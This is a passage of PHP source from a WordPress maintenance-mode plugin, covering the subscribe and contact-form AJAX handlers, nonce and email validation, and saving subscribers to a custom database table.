global $wpdb; try { $email = isset( $_POST['email'] ) ? sanitize_email( $_POST['email'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing // checks if ( empty( $email ) || ! is_email( $email ) ) { throw new Exception( __( 'Please enter a valid email address.', 'wp-maintenance-mode' ) ); } if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wpmts_nonce_subscribe' ) ) { throw new Exception( __( 'Security check.', 'wp-maintenance-mode' ) ); } // save. $this->insert_subscriber( $email ); wp_send_json_success( __( 'You successfully subscribed. Thanks!', 'wp-maintenance-mode' ) ); } catch ( Exception $ex ) { wp_send_json_error( $ex->getMessage() ); } } /** * Send email via contact form (refactor @ 2.0.4) * * @since 2.0.0 * @throws Exception */ public function send_contact() { try { $name = isset( $_POST['name'] ) ? sanitize_text_field( $_POST['name'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing $email = isset( $_POST['email'] ) ? sanitize_email( $_POST['email'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing $content = isset( $_POST['content'] ) ? sanitize_textarea_field( $_POST['content'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing // checks if ( empty( $name ) || empty( $email ) || empty( $content ) ) { throw new Exception( __( 'All fields required.', 'wp-maintenance-mode' ) ); } if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wpmts_nonce_contact' ) ) { throw new Exception( __( 'Security check.', 'wp-maintenance-mode' ) ); } if ( ! is_email( $email ) ) { throw new Exception( __( 'Please enter a valid email address.', 'wp-maintenance-mode' ) ); } // if you add new fields to the contact form... you will definitely need to validate their values do_action( 'wpmm_contact_validation', $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing // vars $send_to = ! empty( $this->plugin_settings['modules']['contact_email'] ) ? $this->plugin_settings['modules']['contact_email'] : get_option( 'admin_email' ); $subject = apply_filters( 'wpmm_contact_subject', __( 'Message via contact', 'wp-maintenance-mode' ) ); $headers = apply_filters( 'wpmm_contact_headers', array( 'Reply-To: ' . $email ) ); ob_start(); include_once wpmm_get_template_path( 'contact.php', true ); $message = ob_get_clean(); // add temporary filters $from_name = function() use ( $name ) { return $name; }; add_filter( 'wp_mail_content_type', 'wpmm_change_mail_content_type', 10, 1 ); add_filter( 'wp_mail_from_name', $from_name ); // send email $send = wp_mail( $send_to, $subject, $message, $headers ); // remove temporary filters remove_filter( 'wp_mail_content_type', 'wpmm_change_mail_content_type', 10, 1 ); remove_filter( 'wp_mail_from_name', $from_name ); if ( ! $send ) { throw new Exception( __( 'Something happened! Please try again later.', 'wp-maintenance-mode' ) ); } wp_send_json_success( __( 'Your email was sent to the website administrator. Thanks!', 'wp-maintenance-mode' ) ); } catch ( Exception $ex ) { wp_send_json_error( $ex->getMessage() ); } } /** * Save subscriber into database. * * @param Form_Data_Request $form_data The form data. * @return void */ public function otter_add_subscriber( $form_data ) { if ( $form_data ) { $input_data = $form_data->get_payload_field( 'formInputsData' ); $input_data = array_map( function( $input_field ) { if ( isset( $input_field['type'] ) && 'email' === $input_field['type'] ) { return $input_field['value']; } return false; }, $input_data ); $input_data = array_filter( $input_data ); if ( ! empty( $input_data ) ) { foreach ( $input_data as $email ) { $this->insert_subscriber( $email ); } } } } /** * Save subscriber into database. * * @param string $email Email address. * @global object $wpdb * * @return void */ public function insert_subscriber( $email = '' ) { global $wpdb; if ( ! empty( $email ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery $exists = $wpdb->get_row( $wpdb->prepare( "SELECT id_subscriber FROM {$wpdb->prefix}wpmm_subscribers WHERE email = %s", $email ), ARRAY_A ); if ( empty( $exists ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery $wpdb->insert( $wpdb->prefix . 'wpmm_subscribers', array( 'email' => sanitize_email( $email ), 'insert_date' => date( 'Y-m-d H:i:s' ), ), array( '%s', '%s' ) ); } } } /** * Set the current_page_category property * @param $category * * @return void */ public function set_current_page_category( $category ) { $this->current_page_category = $category; } /** * Get the current_page_category property * * @return mixed */ public function get_current_page_category() { return $this->current_page_category; } } }